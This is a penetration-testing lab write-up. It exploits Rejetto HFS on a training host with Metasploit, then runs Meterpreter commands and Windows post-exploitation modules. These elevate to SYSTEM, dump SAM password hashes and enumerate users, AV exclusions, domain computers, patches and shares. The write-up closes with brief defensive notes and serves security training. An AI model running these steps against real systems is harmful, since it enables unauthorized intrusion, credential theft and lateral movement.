Windows Post-Exploitation Modules

Classification: Host & Network Penetration Testing / The Metasploit Framework
Target: demo.ine.local (10.2.24.163) — Windows Server 2008 R2–2012, Rejetto HFS
Objective: Run various Windows post-exploitation modules against the compromised host.

1. Executive Summary

After exploiting Rejetto HFS for a Meterpreter session, we tour the Windows post-exploitation toolkit: built-in Meterpreter commands plus post/windows/* modules that enumerate privileges, logged-on users, VM status, installed applications, AV exclusions, domain computers, patches and shares — with results stored in loot.

2. Recon & Exploitation

ping -c 4 demo.ine.local
db_nmap -sV 10.2.24.163
services

use exploit/windows/http/rejetto_hfs_exec
set RHOSTS 10.2.24.163
exploit

Migrating into explorer.exe for stability.

pgrep explorer
migrate <pid>

3. Built-in Meterpreter Commands

getsystem       # elevate to SYSTEM
getuid          # current user
hashdump        # dump SAM hashes

show_mount      # mounts / disks

ps              # running processes

sysinfo

pwd ; cd ; dir ; cat ; download

4. Post-Exploitation Modules

Backgrounding the session to run post modules.

run post/windows/manage/archmigrate     # match Meterpreter arch to the OS

run post/windows/gather/win_privs        # current user privileges

run post/windows/gather/enum_logged_on_users

run post/windows/gather/checkvm          # VM detection

run post/windows/gather/enum_applications

Module output is saved in the loot directory.

loot

run post/windows/gather/enum_av_excluded # AV exclusions

run post/windows/gather/enum_computers   # domain computers

run post/windows/gather/enum_patches     # applied patches

If patch info isn’t available via the module, check it manually in a shell.

shell
systeminfo

run post/windows/gather/enum_shares      # shares

5. Notes & Remediation

1. Post-exploitation enumeration feeds lateral movement (AV exclusions, domain computers, shares) — defenders should monitor for mass enumeration from a single host.
2. Protect LSASS/SAM (Credential Guard) against hashdump.
3. Patch/replace Rejetto HFS and apply least privilege so SYSTEM isn’t trivially reached.